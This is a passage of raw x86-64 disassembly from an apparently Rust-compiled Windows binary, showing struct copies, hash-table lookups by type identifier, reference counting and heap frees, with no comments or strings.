movups xmmword [rsp + 0x403], xmm1
movups xmmword [rsp + 0x3f3], xmm0
mov byte [rsp + 0x3f0], sil
mov byte [rsp + 0x3f1], r13b
mov byte [rsp + 0x3f2], bpl
lea rcx, [rsp + 0x120]
lea rdx, [rsp + 0x3f0]
call fcn.140033100
movzx eax, byte [rsp + 0x120]
movzx r14d, byte [rsp + 0x121]
cmp al, 3
je 0x140062302
mov rcx, qword [rsp + 0x170]
mov qword [rsp + 0xfed], rcx
movups xmm0, xmmword [rsp + 0x163]
movaps xmmword [rsp + 0xfe0], xmm0
movaps xmm0, xmmword [rsp + 0xfe0]
movaps xmmword [rsp + 0x9e0], xmm0
mov rcx, qword [rsp + 0xfed]
mov qword [rsp + 0x9ed], rcx
mov ecx, dword [rsp + 0xa1c]
mov dword [rsp + 0x350], ecx
movups xmm0, xmmword [rsp + 0x153]
movups xmm1, xmmword [rsp + 0x143]
movups xmm2, xmmword [rsp + 0x133]
movups xmm3, xmmword [rsp + 0x123]
movaps xmmword [rsp + 0x9a0], xmm3
movaps xmmword [rsp + 0x9b0], xmm2
movaps xmmword [rsp + 0x9c0], xmm1
movaps xmmword [rsp + 0x9d0], xmm0
movups xmm0, xmmword [rsp + 0x9fc]
movups xmm1, xmmword [rsp + 0xa0c]
movaps xmmword [rsp + 0x340], xmm1
movaps xmmword [rsp + 0x330], xmm0
movaps xmm0, xmmword [rsp + 0x5b0]
movaps xmm1, xmmword [rsp + 0x5c0]
movaps xmm2, xmmword [rsp + 0x5d0]
movups xmmword [rsp + 0xc60], xmm2
movups xmmword [rsp + 0xc50], xmm1
movups xmmword [rsp + 0xc40], xmm0
mov rcx, qword [rdi + 0x768]
movzx edx, byte [rcx + 0x112]
movzx ecx, byte [rsp + 0x122]
mov byte [rdi + 0x9d1], dl
mov byte [rdi + 0x9d8], r15b
movzx edx, byte [rsp + 0x4c]
mov byte [rdi + 0x9d9], dl
mov rdx, qword [rsp + 0x7c8]
mov qword [rdi + 0x9e0], rdx
movaps xmm0, xmmword [rsp + 0xd30]
movaps xmm1, xmmword [rsp + 0xd40]
movups xmmword [rdi + 0x9e8], xmm0
movups xmmword [rdi + 0x9f8], xmm1
mov rdx, qword [rsp + 0x830]
mov qword [rdi + 0xa08], rdx
mov qword [rdi + 0xa10], 0
mov qword [rdi + 0xa18], 6
mov rdx, qword [rsp + 0x818]
mov qword [rdi + 0xa20], rdx
mov rdx, qword [rsp + 0x7d8]
mov qword [rdi + 0xa28], rdx
mov rdx, qword [rsp + 0x810]
mov qword [rdi + 0xa30], rdx
movss dword [rdi + 0xa38], xmm8
movzx edx, byte [rsp + 0x52]
mov byte [rdi + 0xa3c], dl
movzx edx, byte [rsp + 0x51]
mov byte [rdi + 0xa3d], dl
mov rdx, qword [rsp + 0x838]
mov qword [rdi + 0xa40], rdx
mov rdx, qword [rsp + 0x820]
mov qword [rdi + 0xa48], rdx
mov rdx, qword [rsp + 0x828]
mov qword [rdi + 0xa50], rdx
mov rdx, qword [rsp + 0x7d0]
mov qword [rdi + 0xa58], rdx
mov dword [rdi + 0xa60], r12d
movaps xmm0, xmmword [rsp + 0x330]
movaps xmm1, xmmword [rsp + 0x340]
movups xmmword [rdi + 0xa64], xmm0
movups xmmword [rdi + 0xa74], xmm1
mov edx, dword [rsp + 0x350]
mov dword [rdi + 0xa84], edx
movzx edx, byte [rsp + 0x4d]
mov byte [rdi + 0xa88], dl
mov rdx, qword [rsp + 0x7f0]
mov qword [rdi + 0xa90], rdx
movzx edx, byte [rsp + 0x50]
mov byte [rdi + 0xa98], dl
movzx edx, byte [rsp + 0x4f]
mov byte [rdi + 0xa99], dl
movzx edx, byte [rsp + 0x4e]
mov byte [rdi + 0xa9a], dl
mov rdx, qword [rsp + 0x320]
mov qword [rdi + 0xaa0], rdx
mov rdx, qword [rsp + 0x878]
mov qword [rdi + 0xaa8], rdx
mov rdx, qword [rsp + 0x870]
mov qword [rdi + 0xab0], rdx
mov rdx, qword [rsp + 0x868]
mov qword [rdi + 0xab8], rdx
mov rdx, qword [rsp + 0x848]
mov qword [rdi + 0xac0], rdx
mov rdx, qword [rsp + 0x840]
mov qword [rdi + 0xac8], rdx
mov rdx, qword [rsp + 0x858]
mov qword [rdi + 0xad0], rdx
mov edx, dword [rsp + 0x32c]
mov dword [rdi + 0xad8], edx
mov rdx, qword [rsp + 0x860]
mov qword [rdi + 0xae0], rdx
mov edx, dword [rsp + 0x74]
mov dword [rdi + 0xae8], edx
mov rdx, qword [rsp + 0x850]
mov qword [rdi + 0xaf0], rdx
movlps qword [rdi + 0xaf8], xmm7
mov edx, dword [rsp + 0x328]
mov dword [rdi + 0xb00], edx
movzx edx, byte [rsp + 0x55]
mov byte [rdi + 0xb04], dl
movzx edx, byte [rsp + 0x54]
mov byte [rdi + 0xb05], dl
mov rdx, qword [rsp + 0x808]
mov qword [rdi + 0xb08], rdx
mov rdx, qword [rsp + 0x7e0]
mov qword [rdi + 0xb10], rdx
movlps qword [rdi + 0xb18], xmm6
movzx edx, byte [rsp + 0x53]
mov byte [rdi + 0xb20], dl
movzx edx, byte [rsp + 0x56]
mov byte [rdi + 0xb21], dl
mov rdx, qword [rsp + 0xc68]
mov qword [rdi + 0xb50], rdx
movups xmm0, xmmword [rsp + 0xc3a]
movups xmm1, xmmword [rsp + 0xc4a]
movups xmm2, xmmword [rsp + 0xc5a]
movups xmmword [rdi + 0xb42], xmm2
movups xmmword [rdi + 0xb32], xmm1
movups xmmword [rdi + 0xb22], xmm0
mov byte [rdi + 0xb58], al
mov byte [rdi + 0xb59], r14b
mov byte [rdi + 0xb5a], cl
mov rax, qword [rsp + 0x9ed]
mov qword [rdi + 0xba8], rax
movaps xmm0, xmmword [rsp + 0x9e0]
movups xmmword [rdi + 0xb9b], xmm0
movaps xmm0, xmmword [rsp + 0x9a0]
movaps xmm1, xmmword [rsp + 0x9b0]
movaps xmm2, xmmword [rsp + 0x9c0]
movaps xmm3, xmmword [rsp + 0x9d0]
movups xmmword [rdi + 0xb8b], xmm3
movups xmmword [rdi + 0xb7b], xmm2
movups xmmword [rdi + 0xb6b], xmm1
movups xmmword [rdi + 0xb5b], xmm0
mov rax, qword [rsp + 0x7f8]
mov qword [rdi + 0xbb0], rax
mov rax, qword [rsp + 0x800]
mov qword [rdi + 0xbb8], rax
mov rax, qword [rsp + 0x7e8]
mov qword [rdi + 0xbc0], rax
movzx eax, byte [rsp + 0x57]
mov byte [rdi + 0xbc8], al
mov byte [rdi + 0xbc9], al
mov rbx, qword [rsp + 0x78]
mov rbp, qword [rsp + 0x60]
mov r12, qword [rsp + 0x30]
cmp dword [rdi + 0xa18], 9
je 0x140062341
lea r13, [rdi + 0x9d8]
lea rsi, [rdi + 0xa18]
lea rcx, [rsp + 0xfa0]
mov rdx, r13
mov r8, rbx
call fcn.140062830
cmp byte [rsp + 0x1010], 3
jne 0x14005dc01
lea rcx, [rsp + 0x600]
mov rdx, rsi
mov r8, rbx
call fcn.1400640c0
cmp byte [rsp + 0x670], 3
je 0x14005dd32
mov r14, qword [rsi]
mov qword [rsi], 9
cmp r14, 9
je 0x140062371
lea rdx, [rdi + 0xa20]
movups xmm0, xmmword [r13]
movups xmm1, xmmword [r13 + 0x10]
movups xmm2, xmmword [r13 + 0x20]
movups xmm3, xmmword [r13 + 0x30]
movaps xmmword [rsp + 0x150], xmm3
movaps xmmword [rsp + 0x140], xmm2
movaps xmmword [rsp + 0x130], xmm1
movaps xmmword [rsp + 0x120], xmm0
mov qword [rsp + 0x160], r14
lea rbx, [rsp + 0x168]
mov r8d, 0x1b0
mov rcx, rbx
call fcn.140106530
movups xmm0, xmmword [r13]
movups xmm1, xmmword [r13 + 0x10]
movups xmm2, xmmword [r13 + 0x20]
movups xmm3, xmmword [r13 + 0x30]
movups xmmword [rsp + 0x468], xmm0
movups xmmword [rsp + 0x478], xmm1
movups xmmword [rsp + 0x488], xmm2
movups xmmword [rsp + 0x498], xmm3
mov rax, qword [rsp + 0x670]
mov qword [rsp + 0x460], rax
movups xmm0, xmmword [rsp + 0x660]
movaps xmmword [rsp + 0x450], xmm0
movups xmm0, xmmword [rsp + 0x650]
movaps xmmword [rsp + 0x440], xmm0
movups xmm0, xmmword [rsp + 0x640]
movaps xmmword [rsp + 0x430], xmm0
movups xmm0, xmmword [rsp + 0x600]
movups xmm1, xmmword [rsp + 0x610]
movups xmm2, xmmword [rsp + 0x620]
movups xmm3, xmmword [rsp + 0x630]
movaps xmmword [rsp + 0x420], xmm3
movaps xmmword [rsp + 0x410], xmm2
movaps xmmword [rsp + 0x400], xmm1
movaps xmmword [rsp + 0x3f0], xmm0
lea rcx, [rsp + 0x8e0]
lea rdx, [rsp + 0x3f0]
mov r8d, 0xb8
call fcn.140106530
lea rcx, [r14 - 6]
cmp rcx, 3
mov eax, 1
cmovb rax, rcx
cmp rax, 1
je 0x14005dd39
test rax, rax
jne 0x14005dd72
mov rcx, rbx
call fcn.1400646d0
jmp 0x14005dd72
mov r14, qword [rsi]
mov qword [rsi], 9
cmp r14, 9
je 0x140062371
lea rbx, [rdi + 0xa20]
movups xmm0, xmmword [r13]
movups xmm1, xmmword [r13 + 0x10]
movups xmm2, xmmword [r13 + 0x20]
movups xmm3, xmmword [r13 + 0x30]
movaps xmmword [rsp + 0x150], xmm3
movaps xmmword [rsp + 0x140], xmm2
movaps xmmword [rsp + 0x130], xmm1
movaps xmmword [rsp + 0x120], xmm0
mov qword [rsp + 0x160], r14
lea rcx, [rsp + 0x168]
mov r8d, 0x1b0
mov rdx, rbx
call fcn.140106530
lea rcx, [rsp + 0x8e0]
mov r8d, 0xb8
mov rdx, rbx
call fcn.140106530
lea rdx, [rsp + 0x220]
lea rcx, [rsp + 0xea0]
mov r8d, 0xf8
call fcn.140106530
movups xmm0, xmmword [rsp + 0xfa0]
movups xmm1, xmmword [rsp + 0xfb0]
movups xmm2, xmmword [rsp + 0xfc0]
movups xmm3, xmmword [rsp + 0xfd0]
movaps xmmword [rsp + 0x370], xmm0
movaps xmmword [rsp + 0x380], xmm1
movaps xmmword [rsp + 0x390], xmm2
movaps xmmword [rsp + 0x3a0], xmm3
movups xmm0, xmmword [rsp + 0xfe0]
movaps xmmword [rsp + 0x3b0], xmm0
movups xmm0, xmmword [rsp + 0xff0]
movaps xmmword [rsp + 0x3c0], xmm0
movups xmm0, xmmword [rsp + 0x1000]
movaps xmmword [rsp + 0x3d0], xmm0
mov rax, qword [rsp + 0x1010]
mov qword [rsp + 0x3e0], rax
lea rcx, [rsp + 0x120]
call fcn.140064e00
cmp r14, 0xa
jne 0x14005dd78
mov al, 3
jmp 0x14005f634
cmp r14, 5
jne 0x14005dd5b
movzx eax, byte [rsp + 0x1d8]
cmp eax, 2
je 0x14005dd6a
lea rcx, [rsp + 0x160]
call fcn.140064820
jmp 0x14005dd72
mov r14d, 9
mov word [rdi + 0x9d6], 0x101
movaps xmm0, xmmword [rsp + 0x370]
movdqa xmm1, xmmword [rsp + 0x380]
movdqa xmm2, xmmword [rsp + 0x390]
movdqa xmm3, xmmword [rsp + 0x3a0]
movups xmmword [rdi + 0x7a0], xmm0
movdqu xmmword [rdi + 0x7b0], xmm1
movdqu xmmword [rdi + 0x7c0], xmm2
movdqu xmmword [rdi + 0x7d0], xmm3
movaps xmm0, xmmword [rsp + 0x3b0]
movups xmmword [rdi + 0x7e0], xmm0
movaps xmm0, xmmword [rsp + 0x3c0]
movups xmmword [rdi + 0x7f0], xmm0
movdqa xmm0, xmmword [rsp + 0x3d0]
movdqu xmmword [rdi + 0x800], xmm0
mov rax, qword [rsp + 0x3e0]
mov qword [rdi + 0x810], rax
lea rbx, [rdi + 0x818]
mov qword [rdi + 0x818], r14
lea rcx, [rdi + 0x820]
lea rdx, [rsp + 0x8e0]
mov r8d, 0xb8
call fcn.140106530
lea rcx, [rdi + 0x8d8]
lea rdx, [rsp + 0xea0]
mov r8d, 0xf8
call fcn.140106530
cmp dword [rdi + 0xa18], 9
je 0x14005e3c3
mov rcx, r13
call fcn.140064e00
mov rax, qword [rsi]
lea rdx, [rax - 6]
cmp rdx, 3
mov ecx, 1
cmovb rcx, rdx
cmp rcx, 1
je 0x14005e21a
test rcx, rcx
jne 0x14005e3c3
movzx ebp, byte [rdi + 0x810]
cmp bpl, 2
jne 0x14005e0d2
lea rsi, [rdi + 0x9e0]
lea rcx, [rsp + 0x3f0]
mov rdx, rsi
mov r8, qword [rsp + 0x78]
call fcn.1400640c0
movzx ebp, byte [rsp + 0x460]
cmp bpl, 3
je 0x14005f632
mov rbx, qword [rsp + 0x3f0]
mov r15, qword [rsp + 0x3f8]
movups xmm0, xmmword [rsp + 0x400]
movaps xmmword [rsp + 0xdb0], xmm0
movups xmm0, xmmword [rsp + 0x410]
movaps xmmword [rsp + 0xdc0], xmm0
movups xmm0, xmmword [rsp + 0x420]
movaps xmmword [rsp + 0xdd0], xmm0
movups xmm0, xmmword [rsp + 0x430]
movaps xmmword [rsp + 0xde0], xmm0
movups xmm0, xmmword [rsp + 0x440]
movaps xmmword [rsp + 0xdf0], xmm0
movdqu xmm0, xmmword [rsp + 0x450]
movdqa xmmword [rsp + 0xe00], xmm0
mov eax, dword [rsp + 0x461]
mov dword [rsp + 0x110], eax
mov eax, dword [rsp + 0x464]
mov dword [rsp + 0x113], eax
mov rax, qword [rsi]
lea rdx, [rax - 6]
cmp rdx, 3
mov ecx, 1
cmovb rcx, rdx
cmp rcx, 1
je 0x14005e092
test rcx, rcx
jne 0x14005e1fc
lea rcx, [rdi + 0x9e8]
call fcn.1400646d0
xor r14d, r14d
cmp bpl, 2
je 0x14005e209
movaps xmm0, xmmword [rsp + 0xe00]
movaps xmmword [rsp + 0xe0], xmm0
movaps xmm0, xmmword [rsp + 0xdf0]
movaps xmmword [rsp + 0xd0], xmm0
movdqa xmm0, xmmword [rsp + 0xdb0]
movdqa xmm1, xmmword [rsp + 0xdc0]
movdqa xmm2, xmmword [rsp + 0xdd0]
movdqa xmm3, xmmword [rsp + 0xde0]
movdqa xmmword [rsp + 0xc0], xmm3
movdqa xmmword [rsp + 0xb0], xmm2
movdqa xmmword [rsp + 0xa0], xmm1
movdqa xmmword [rsp + 0x90], xmm0
mov eax, dword [rsp + 0x110]
mov ecx, dword [rsp + 0x113]
mov dword [rsp + 0x58], eax
mov dword [rsp + 0x5b], ecx
mov r14, rbx
cmp byte [rdi + 0x9d2], 0
jne 0x14005e268
jmp 0x14005e2fc
cmp eax, 5
jne 0x14005e1f4
lea rcx, [rdi + 0x9e8]
movzx eax, byte [rdi + 0xa58]
cmp eax, 2
je 0x14005f3b8
cmp eax, 3
je 0x14005e1fc
call fcn.140064ab0
xor r14d, r14d
cmp bpl, 2
je 0x14005e209
jmp 0x14005dfff
mov rcx, rsi
call fcn.140064820
xor r14d, r14d
cmp bpl, 2
jne 0x14005dfff
mov r15, rbx
cmp byte [rdi + 0x9d2], 0
jne 0x14005e268
jmp 0x14005e2fc
cmp eax, 5
jne 0x14005e3bb
mov rax, qword [rsp + 0x120]
lea rdx, [rax - 6]
cmp rdx, 3
mov ecx, 1
cmovb rcx, rdx
cmp rcx, 1
je 0x14005e2b5
test rcx, rcx
jne 0x14005e2fc
lea rcx, [rsp + 0x128]
call fcn.1400646d0
mov byte [rdi + 0x9d2], 0
cmp byte [rdi + 0x9d3], 0
jne 0x14005e30c
mov byte [rdi + 0x9d3], 0
jmp 0x14005e7b3
cmp eax, 5
jne 0x14005e2ef
lea rcx, [rsp + 0x128]
movzx eax, byte [rsp + 0x198]
cmp eax, 2
je 0x14005f610
cmp eax, 3
je 0x14005e2fc
call fcn.140064ab0
mov byte [rdi + 0x9d2], 0
cmp byte [rdi + 0x9d3], 0
jne 0x14005e30c
jmp 0x14005e2a9
lea rcx, [rsp + 0x120]
call fcn.140064820
mov byte [rdi + 0x9d2], 0
cmp byte [rdi + 0x9d3], 0
je 0x14005e2a9
lea rcx, [rdi + 0x9d8]
call fcn.140035b40
mov byte [rdi + 0x9d3], 0
jmp 0x14005e7b3
mov qword [rsp + 0x60], rbp
cmp dword [rbx], 9
jne 0x14005de99
movzx ebp, byte [rdi + 0x890]
cmp bpl, 2
jne 0x14005e6a7
mov qword [rsp + 0x30], r12
lea rsi, [rdi + 0x9e0]
lea rcx, [rsp + 0x120]
mov rdx, rsi
mov r8, qword [rsp + 0x78]
call fcn.140062830
movzx ebp, byte [rsp + 0x190]
cmp bpl, 3
je 0x14005f62e
mov rcx, rsi
mov r12, qword [rsp + 0x120]
mov r15, qword [rsp + 0x128]
movups xmm0, xmmword [rsp + 0x130]
movaps xmmword [rsp + 0xe10], xmm0
movups xmm0, xmmword [rsp + 0x140]
movaps xmmword [rsp + 0xe20], xmm0
movups xmm0, xmmword [rsp + 0x150]
movaps xmmword [rsp + 0xe30], xmm0
movups xmm0, xmmword [rsp + 0x160]
movaps xmmword [rsp + 0xe40], xmm0
movups xmm0, xmmword [rsp + 0x170]
movaps xmmword [rsp + 0xe50], xmm0
movdqu xmm0, xmmword [rsp + 0x180]
movdqa xmmword [rsp + 0xe60], xmm0
mov eax, dword [rsp + 0x191]
mov dword [rsp + 0x118], eax
mov eax, dword [rsp + 0x194]
mov dword [rsp + 0x11b], eax
call fcn.140064e00
cmp bpl, 2
jne 0x14005e5f5
mov bpl, 2
xor r14d, r14d
cmp byte [rdi + 0x9d1], 0
je 0x14005e68d
xor r14d, r14d
cmp byte [r12 + 0x30], 4
jne 0x14005e68d
mov rsi, qword [r12]
xor r14d, r14d
test rsi, rsi
je 0x14005e68d
mov rbx, qword [r12 + 8]
movabs r15, 0xf3127b8dfb9c1675
xor r14d, r14d
movabs r13, 0x363f1dc8efaa66f4
jmp 0x14005e5c5
mov rcx, rsi
call qword [rbx + 0x30]
mov rsi, rax
mov rbx, rdx
test rax, rax
je 0x14005e68d
mov rcx, rsi
call qword [rbx + 0x38]
cmp rax, r15
jne 0x14005e5b0
cmp rdx, r13
jne 0x14005e5b0
mov r14d, 1
mov r15, r12
cmp byte [rdi + 0x9d4], 0
mov r12, qword [rsp + 0x30]
jne 0x14005e783
jmp 0x14005e790
movaps xmm0, xmmword [rsp + 0xe60]
movaps xmmword [rsp + 0xe0], xmm0
movaps xmm0, xmmword [rsp + 0xe50]
movaps xmmword [rsp + 0xd0], xmm0
movdqa xmm0, xmmword [rsp + 0xe10]
movdqa xmm1, xmmword [rsp + 0xe20]
movdqa xmm2, xmmword [rsp + 0xe30]
movdqa xmm3, xmmword [rsp + 0xe40]
movdqa xmmword [rsp + 0xc0], xmm3
movdqa xmmword [rsp + 0xb0], xmm2
movdqa xmmword [rsp + 0xa0], xmm1
movdqa xmmword [rsp + 0x90], xmm0
mov eax, dword [rsp + 0x118]
mov ecx, dword [rsp + 0x11b]
mov dword [rsp + 0x58], eax
mov dword [rsp + 0x5b], ecx
mov r14, r12
cmp byte [rdi + 0x9d4], 0
mov r12, qword [rsp + 0x30]
jne 0x14005e783
jmp 0x14005e790
mov r15, r12
cmp byte [rdi + 0x9d4], 0
mov r12, qword [rsp + 0x30]
jne 0x14005e783
jmp 0x14005e790
lea rcx, [rsp + 0x3f0]
call fcn.140064e00
mov byte [rdi + 0x9d4], 0
cmp byte [rdi + 0x9d5], 0
je 0x14005e7ac
lea rcx, [rdi + 0x9d8]
call fcn.140035b40
mov byte [rdi + 0x9d5], 0
mov word [rdi + 0x9d6], 0
movaps xmm0, xmmword [rsp + 0xe0]
movaps xmmword [rsp + 0xcc0], xmm0
movaps xmm0, xmmword [rsp + 0xd0]
movaps xmmword [rsp + 0xcb0], xmm0
movaps xmm0, xmmword [rsp + 0x90]
movaps xmm1, xmmword [rsp + 0xa0]
movaps xmm2, xmmword [rsp + 0xb0]
movaps xmm3, xmmword [rsp + 0xc0]
movaps xmmword [rsp + 0xca0], xmm3
movaps xmmword [rsp + 0xc90], xmm2
movaps xmmword [rsp + 0xc80], xmm1
movaps xmmword [rsp + 0xc70], xmm0
mov eax, dword [rsp + 0x58]
mov ecx, dword [rsp + 0x5b]
mov dword [rsp + 0xf8], eax
mov dword [rsp + 0xfb], ecx
mov byte [rdi + 0x9d0], 1
movaps xmm0, xmmword [rsp + 0xc70]
movdqa xmm1, xmmword [rsp + 0xc80]
movdqa xmm2, xmmword [rsp + 0xc90]
movdqa xmm3, xmmword [rsp + 0xca0]
movaps xmmword [rsp + 0xcd0], xmm0
movdqa xmmword [rsp + 0xce0], xmm1
movdqa xmmword [rsp + 0xcf0], xmm2
movdqa xmmword [rsp + 0xd00], xmm3
movaps xmm0, xmmword [rsp + 0xcb0]
movaps xmmword [rsp + 0xd10], xmm0
movdqa xmm0, xmmword [rsp + 0xcc0]
movdqa xmmword [rsp + 0xd20], xmm0
mov eax, dword [rsp + 0xf8]
mov ecx, dword [rsp + 0xfb]
mov dword [rsp + 0x103], ecx
mov dword [rsp + 0x100], eax
mov rcx, r12
call fcn.140065670
cmp bpl, 2
jne 0x14005e982
mov bl, 1
mov r13d, 3
test r14, r14
je 0x14005eeec
mov byte [rdi + 0x729], 0
mov r13, qword [rdi + 0x628]
mov r12, qword [rdi + 0x630]
mov r14, qword [rdi + 0x638]
lea rdx, [rdi + 0x640]
lea rcx, [rsp + 0x1320]
mov r8d, 0x90
call fcn.140106530
movups xmm0, xmmword [rdi + 0x6d0]
movdqu xmm1, xmmword [rdi + 0x6e0]
movdqu xmm2, xmmword [rdi + 0x6f0]
movdqu xmm3, xmmword [rdi + 0x700]
movaps xmmword [rsp + 0x880], xmm0
movdqa xmmword [rsp + 0x890], xmm1
movdqa xmmword [rsp + 0x8a0], xmm2
movdqa xmmword [rsp + 0x8b0], xmm3
movdqu xmm0, xmmword [rdi + 0x710]
movdqa xmmword [rsp + 0x8c0], xmm0
mov rax, qword [rdi + 0x720]
mov qword [rsp + 0x8d0], rax
mov rbp, qword [rsp + 0x60]
jmp 0x140060d4c
movaps xmm0, xmmword [rsp + 0xd20]
movaps xmmword [rsp + 0x170], xmm0
movaps xmm0, xmmword [rsp + 0xd10]
movaps xmmword [rsp + 0x160], xmm0
movaps xmm0, xmmword [rsp + 0xcd0]
movaps xmm1, xmmword [rsp + 0xce0]
movaps xmm2, xmmword [rsp + 0xcf0]
movaps xmm3, xmmword [rsp + 0xd00]
movaps xmmword [rsp + 0x150], xmm3
movaps xmmword [rsp + 0x140], xmm2
movaps xmmword [rsp + 0x130], xmm1
movaps xmmword [rsp + 0x120], xmm0
mov qword [rdi + 0x730], r14
mov qword [rdi + 0x738], r15
movaps xmm0, xmmword [rsp + 0x120]
movdqa xmm1, xmmword [rsp + 0x130]
movdqa xmm2, xmmword [rsp + 0x140]
movdqa xmm3, xmmword [rsp + 0x150]
movups xmmword [rdi + 0x740], xmm0
movdqu xmmword [rdi + 0x750], xmm1
movdqu xmmword [rdi + 0x760], xmm2
movdqu xmmword [rdi + 0x770], xmm3
movaps xmm0, xmmword [rsp + 0x160]
movups xmmword [rdi + 0x780], xmm0
movdqa xmm0, xmmword [rsp + 0x170]
movdqu xmmword [rdi + 0x790], xmm0
mov byte [rdi + 0x7a0], bpl
mov eax, dword [rsp + 0x100]
mov ecx, dword [rsp + 0x103]
mov dword [rdi + 0x7a1], eax
mov dword [rdi + 0x7a4], ecx
lea r14, [rdi + 0x628]
mov rcx, qword [rdi + 0x6f8]
test rcx, rcx
je 0x14005ecd3
cmp qword [rcx + 0x18], 0
je 0x14005ecd3
mov rax, qword [rcx]
mov rcx, qword [rcx + 8]
movabs rdx, 0x525e3de19bec2533
xor r8d, r8d
movdqa xmm0, xmmword [0x140113a00]
pcmpeqd xmm1, xmm1
movabs rbx, 0x44c66b25624e1aa9
mov r9, rdx
and r9, rcx
movdqu xmm2, xmmword [rax + r9]
movdqa xmm3, xmm2
pcmpeqb xmm3, xmm0
pmovmskb r10d, xmm3
nop dword [rax + rax]
test r10w, r10w
je 0x14005eb20
tzcnt esi, r10d
lea r11d, [r10 - 1]
and r11d, r10d
mov r10d, r11d
add rsi, r9
and rsi, rcx
shl rsi, 5
mov r11, rax
sub r11, rsi
cmp qword [r11 - 0x20], rbx
jne 0x14005eae0
cmp qword [r11 - 0x18], rdx
jne 0x14005eae0
jmp 0x14005eb3f
pcmpeqb xmm2, xmm1
pmovmskb r10d, xmm2
test r10d, r10d
jne 0x14005ecd3
add r9, r8
add r9, 0x10
add r8, 0x10
jmp 0x14005eac2
mov rsi, qword [r11 - 0x10]
mov rax, qword [r11 - 8]
mov rcx, rsi
call qword [rax + 0x18]
cmp rax, rbx
jne 0x14005ecd3
movabs rax, 0x525e3de19bec2533
cmp rdx, rax
jne 0x14005ecd3
mov qword [rsp + 0x30], r14
cmp byte [rdi + 0x791], 2
je 0x140062151
mov rbx, qword [rsi]
movzx r13d, word [rdi + 0x790]
mov rcx, qword [rdi + 0x778]
xor esi, esi
test rcx, rcx
je 0x14005eba4
mov rax, qword [rdi + 0x780]
call qword [rax + 0x18]
mov rsi, rax
mov r15, rdx
mov rbp, qword [rdi + 0x788]
lock inc qword [rbp]
jle case.0x14005cae1.2
mov r14, qword [rbx + 0x10]
mov ecx, 8
xor eax, eax
lock cmpxchg qword [r14 + 0x130], rcx
jne 0x14005f812
mov rbx, qword [r14 + 0x138]
mov r12, qword [r14 + 0x140]
mov qword [r14 + 0x138], rsi
mov qword [r14 + 0x140], r15
mov rsi, qword [r14 + 0x148]
mov qword [r14 + 0x148], rbp
mov r15, qword [r14 + 0x150]
mov qword [r14 + 0x150], r13
lock add qword [r14 + 0x158], 2
xor ecx, ecx
mov eax, 8
lock cmpxchg qword [r14 + 0x130], rcx
jne 0x14005f823
cmp byte [rdi + 0x791], 2
je 0x140062151
cmp byte [rdi + 0x770], 2
jne 0x14005edbf
cmp byte [rdi + 0x6e0], 7
jne 0x14005fbda
mov rcx, qword [rdi + 0x6f8]
test rcx, rcx
je 0x14005ef8d
cmp qword [rcx + 0x18], 0
je 0x14005ef8d
mov rax, qword [rcx]
mov rcx, qword [rcx + 8]
movabs rdx, 0x8d0c13cc8de5f522
xor r8d, r8d
movdqa xmm0, xmmword [0x140113a10]
pcmpeqd xmm1, xmm1
movabs rsi, 0x153067f15d803508
mov r9, rdx
and r9, rcx
movdqu xmm2, xmmword [rax + r9]
movdqa xmm3, xmm2
pcmpeqb xmm3, xmm0
pmovmskb r10d, xmm3
nop dword [rax + rax]
test r10w, r10w
je 0x14005eda0
tzcnt ebx, r10d
lea r11d, [r10 - 1]
and r11d, r10d
mov r10d, r11d
add rbx, r9
and rbx, rcx
shl rbx, 5
mov r11, rax
sub r11, rbx
cmp qword [r11 - 0x20], rsi
jne 0x14005ed60
cmp qword [r11 - 0x18], rdx
jne 0x14005ed60
jmp 0x14005ef6a
pcmpeqb xmm2, xmm1
pmovmskb r10d, xmm2
test r10d, r10d
jne 0x14005ef8d
add r9, r8
add r9, 0x10
add r8, 0x10
jmp 0x14005ed42
cmp byte [rdi + 0x700], 3
jne 0x14005eefe
movzx eax, byte [0x140182310]
mov edx, 0x38
xor ecx, ecx
call fcn.1400df910
test rax, rax
je 0x1400623b0
mov r12, rax
mov qword [rax], 0
mov byte [rax + 0x29], 2
mov word [rax + 0x30], 0x301
movzx ebp, byte [rdi + 0x791]
cmp bpl, 2
je 0x140062151
movzx r15d, byte [rdi + 0x790]
mov rcx, qword [rdi + 0x778]
xor esi, esi
test rcx, rcx
je 0x14005ee33
mov rax, qword [rdi + 0x780]
call qword [rax + 0x18]
mov rsi, rax
mov rbx, rdx
mov r13, qword [rdi + 0x788]
lock inc qword [r13]
jle case.0x14005cae1.2
cmp byte [r12 + 0x29], 2
je 0x14005eea4
mov qword [rsp + 0x30], rbx
mov r14, qword [r12 + 0x10]
test r14, r14
je 0x14005ee8a
mov rbx, qword [r12 + 0x18]
mov rcx, r14
call qword [rbx]
cmp qword [rbx + 8], 0
je 0x14005ee8a
cmp qword [rbx + 0x10], 0x11
jb 0x14005ee78
mov r14, qword [r14 - 8]
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, r14
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, qword [r12 + 0x20]
lock dec qword [rax]
mov rbx, qword [rsp + 0x30]
jne 0x14005eea4
mov rcx, qword [r12 + 0x20]
call fcn.1400398e0
mov qword [r12 + 0x10], rsi
mov qword [r12 + 0x18], rbx
mov qword [r12 + 0x20], r13
mov byte [r12 + 0x28], r15b
mov byte [r12 + 0x29], bpl
mov eax, dword [rsp + 0x120]
mov dword [r12 + 0x2a], eax
movzx eax, word [rsp + 0x124]
mov word [r12 + 0x2e], ax
mov r13d, 3
mov rbp, qword [rsp + 0x60]
mov r14, qword [rsp + 0x38]
jmp 0x140060d40
mov r12, r15
mov rbp, qword [rsp + 0x60]
mov r14, qword [rsp + 0x38]
jmp 0x140060d4c
mov rax, qword [rdi + 0x620]
cmp byte [rax + 0x111], 0
je 0x14005ef9e
movzx ebx, byte [rdi + 0x688]
test ebx, ebx
je 0x14005f007
cmp ebx, 2
jne 0x14005f000
movzx eax, byte [0x140182310]
mov edx, 0x20
xor ecx, ecx
call fcn.1400df910
test rax, rax
je 0x140062169
mov rsi, rax
mov rax, qword [rdi + 0x690]
lea rdx, [rax + 0x18]
mov r10, qword [rax]
mov r8, qword [rax + 8]
mov r9, qword [rax + 0x10]
mov rcx, rsi
call qword [r10]
jmp 0x14005f007
mov rcx, qword [r11 - 0x10]
mov rax, qword [r11 - 8]
call qword [rax + 0x18]
cmp rax, rsi
jne 0x14005ef8d
movabs rax, 0x8d0c13cc8de5f522
cmp rdx, rax
je 0x14005fbda
lea rcx, [rdi + 0x688]
call fcn.14003e360
jmp 0x14005fbda
mov r13, qword [rsp + 0x80]
mov r15, qword [rsp + 0x68]
movzx eax, word [rsp + 0x2e]
